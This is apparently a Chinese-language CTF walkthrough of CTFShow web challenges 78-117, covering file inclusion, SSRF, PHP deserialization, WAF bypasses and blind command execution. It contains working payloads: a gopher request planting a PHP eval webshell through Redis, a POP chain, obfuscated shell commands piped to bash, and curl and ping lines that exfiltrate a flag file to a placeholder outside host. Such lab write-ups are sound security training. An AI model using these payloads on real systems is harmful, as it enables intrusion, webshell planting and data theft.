CTF Web安全实战：78-117关漏洞利用与绕过技巧

1. CTF Web安全入门实战指南（78-117关）

作为安全从业者，我完整通关了CTFShow Web入门系列的78-117关。这个阶段的题目开始涉及更复杂的漏洞组合利用，需要建立系统的渗透测试思维。下面分享我的闯关笔记和实战心得。

1.1 环境准备与工具链

工欲善其事必先利其器，我的标准工具包包括：

• Burp Suite Community：拦截修改HTTP请求
• HackBar：浏览器端快速构造Payload
• Postman：API接口测试
• Python3：编写自定义脚本
• Chrome开发者工具：前端调试

特别注意：Burp需要配置CA证书才能拦截HTTPS流量，遇到证书错误时记得将Burp的CA证书导入系统信任库

1.2 闯关策略框架

我总结的解题四步法：

1. 信息收集：查看页面源码、网络请求、Cookie等
2. 漏洞探测：尝试常见漏洞类型（SQLi/XSS/SSRF等）
3. 漏洞利用：构造有效Payload获取敏感信息
4. 权限提升：从低权限到高权限的跨越

2. 典型漏洞类型深度解析

2.1 文件包含漏洞实战

在#82关中遇到经典的文件包含，利用php://filter获取源码：

code复制?file=php://filter/convert.base64-encode/resource=index.php

解码base64即可看到后端PHP代码。防御方案：

• 设置open_basedir限制访问范围
• 禁用危险协议（php://、data://等）
• 白名单校验文件路径

2.2 SSRF漏洞利用技巧

#89关需要从内网获取flag，使用dict协议探测端口：

code复制?url=dict://127.0.0.1:6379/info

发现Redis服务后，用gopher协议写入webshell：

code复制gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$10%0d%0a<?php eval($_POST[a]);?>%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$13%0d%0a/var/www/html%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$9%0d%0ashell.php%0d%0a*1%0d%0a$4%0d%0asave%0d%0a

2.3 反序列化漏洞突破

#97关考察PHP反序列化，构造POP链执行系统命令：

php复制<?php
class A {
    public $cmd = "cat /flag";
}
class B {
    public $obj;
    public function __destruct() {
        $this->obj->exec();
    }
}
$b = new B();
$b->obj = new A();
echo serialize($b);
?>

关键是要找到存在危险方法的类，并通过魔术方法自动触发。

3. 高级绕过技术实录

3.1 WAF绕过实战

#105关过滤了常见关键词，我用以下方式绕过：

• 大小写混写：Cat /FlAg → cAt /fLaG
• 字符串拼接：c${x}at /fl${y}ag
• 编码转换：$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67")
• 反引号执行：echo "Y2F0IC9mbGFn"|base64 -d|bash

3.2 无回显漏洞利用

#112关命令执行但无回显，采用外带数据：

code复制curl http://your-server/?flag=`cat /flag|base64`

或者通过DNS日志外泄：

code复制ping `cat /flag|xxd -p -c 10`.your-domain.com

4. 我的闯关经验总结

1. 保持请求原始性：Burp的Repeater模块比浏览器重放更可靠
2. 善用编码转换：base64/hex/urlencode各有适用场景
3. 注意HTTP头注入：User-Agent/Referer也是攻击面
4. 逆向思维很重要：查看前端JS可能发现隐藏接口
5. 自动化辅助：编写Python脚本批量测试Payload效率更高

最后分享一个实用技巧：遇到复杂过滤时，可以先用phpinfo()查看服务器配置，往往能发现意外惊喜（如禁用函数列表、包含路径等）。记住CTF的核心是"审题->思考->验证"的循环过程，祝各位在Web安全的学习路上越走越远！